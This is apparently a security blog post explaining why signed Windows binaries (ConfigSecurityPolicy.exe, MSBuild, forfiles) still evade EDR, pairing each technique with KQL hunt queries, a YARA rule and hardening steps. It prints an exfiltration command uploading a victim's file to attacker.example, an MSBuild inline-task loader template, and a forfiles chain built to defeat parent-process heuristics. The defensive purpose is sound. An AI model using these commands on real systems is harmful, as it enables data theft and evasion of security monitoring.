Why LOLBINs still work in 2026
Modern EDR is great at flagging unsigned binaries doing suspicious things.
It is much worse at flagging signed Microsoft binaries doing suspicious things,
because the false-positive cost is enormous. Every legitimate enterprise also
runs certutil.exe, msbuild.exe, and rundll32.exe
every day. Block them and you break a lot of software.
Three principles that explain why the technique still pays off:
- Trust inheritance. A signed Microsoft binary inherits the trust score that EDRs assign to its signature, even when used for something its author never intended.
- Behavioural granularity. EDR behaviour rules are usually written against parent → child process chains. LOLBINs let you flatten that chain into a single trusted process.
- Signal-to-noise. Detection engineers can't fire on every
rundll32.exelaunch. They have to pick the suspicious ones, and that picking is hard at scale.
Case study 1 · ConfigSecurityPolicy.exe for exfil
Defender ships with a binary called ConfigSecurityPolicy.exe
that, among other things, accepts a URL parameter and POSTs the contents of a
local file to it. Yes, really.
"C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe" \ C:\Users\victim\Documents\target.zip https://attacker.example/upload
From the EDR's perspective, this is Defender doing Defender things. The parent process is the user's session, the binary is signed by Microsoft, and the network destination is the only suspicious indicator - and that's exactly what most defenders haven't built monitoring for yet.
What blue team should be looking for
DeviceProcessEvents | where FileName =~ "ConfigSecurityPolicy.exe" | where ProcessCommandLine has_any ("http://", "https://") | where ProcessCommandLine !contains "definitionupdates.microsoft.com" | project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
Case study 2 · MSBuild.exe inline tasks for code exec
MSBuild is an inline-execution dream. Drop a .csproj file with
embedded C# in a UsingTask block and run it without ever touching
powershell.exe or cmd.exe:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="Hello"> <PingTask /> </Target> <UsingTask TaskName="PingTask" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > <Task> <Code Type="Class" Language="cs"> // ... your C# loader here ... </Code> </Task> </UsingTask> </Project>
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
The process tree on the target is userinit.exe → explorer.exe →
MSBuild.exe. No powershell.exe, no cmd.exe,
no PE drop. PowerShell-script-block logging never fires because there is no
PowerShell.
What blue team should be looking for
DeviceProcessEvents | where FileName =~ "MSBuild.exe" | where InitiatingProcessFileName !in~ ( "devenv.exe", "vs_installer.exe", "installer.exe", "node.exe" ) | where ProcessCommandLine has_any (".csproj", ".xml", ".proj") | where AccountName !endswith "$" // not a service / machine context
Case study 3 · Rundll32 + ShellExec_RunDLL chain
The classic. rundll32.exe can be aimed at
shell32.dll, ShellExec_RunDLL to run an arbitrary command - but
EDRs caught onto that years ago. The 2026 evolution is to chain the call
through a second LOLBIN like InstallUtil.exe or
Forfiles.exe:
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /c calc.exe"
Process tree: explorer.exe → forfiles.exe → cmd.exe → calc.exe.
EDR rules anchored to cmd.exe → suspicious_payload won't fire
because the parent of cmd.exe is the trusted
forfiles.exe, not explorer.exe. The "weird parent"
heuristic gets defeated by inserting a trusted parent in the middle.
What blue team should be looking for
DeviceProcessEvents | where InitiatingProcessFileName =~ "forfiles.exe" | where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe") // forfiles legitimately spawns cmd, but rarely with these suspicious child commands | where ProcessCommandLine has_any ( "-enc", "FromBase64", "http", "DownloadString", "IEX" )
A YARA rule that catches all three patterns at rest
For file-based detection (e.g. on a download proxy or staged file share):
rule LOLBIN_Chain_Indicators_2026
{
meta:
author = "Arpitd.com"
date = "2026-02-15"
description = "Catches common LOLBIN chain patterns at rest"
severity = "medium"
strings:
$a1 = "ConfigSecurityPolicy.exe" nocase
$a2 = "MSBuild.exe" nocase
$a3 = "InstallUtil.exe" nocase
$a4 = "Forfiles.exe" nocase
$b1 = "TaskFactory=\"CodeTaskFactory\""
$b2 = "ShellExec_RunDLL"
$b3 = "/AssemblyFile:" wide
$b4 = "DownloadString" nocase
$c1 = "http://" nocase
$c2 = "https://" nocase
condition:
// LOLBIN name + suspicious string + outbound URL
(any of ($a*)) and (any of ($b*)) and (any of ($c*))
}
It will throw the occasional false positive on legitimate VS solutions - use it as a hunt query, not a blocking rule.
Hardening, not just detecting
Detection alone is a losing race. Add these structural mitigations:
- WDAC / AppLocker in audit-then-block mode for the
LOLBINs your environment doesn't use.
ConfigSecurityPolicy.exeshould never run in user context;MSBuild.exeoutside Visual Studio is rare in non-developer fleets. - ASR rules from Microsoft's recommended baseline - especially "Block Office applications from creating child processes" and "Block executable files from running unless they meet a prevalence, age, or trusted list criterion."
- Block direct SMB outbound from clients to the internet to kill many staging primitives.
- Log Sysmon Event ID 1 with full command lines and ship to your SIEM. The EDR vendor doesn't always do this for you.
Closing thought
Every "novel" technique has a paper trail of the legitimate use it impersonates. The job of the detection engineer isn't to know every LOLBIN - it's to know what each LOLBIN's normal looks like, and alert on everything else. The job of the red teamer is to disappear inside that normal. The two roles are mirrors of each other, and that's why this game is fun.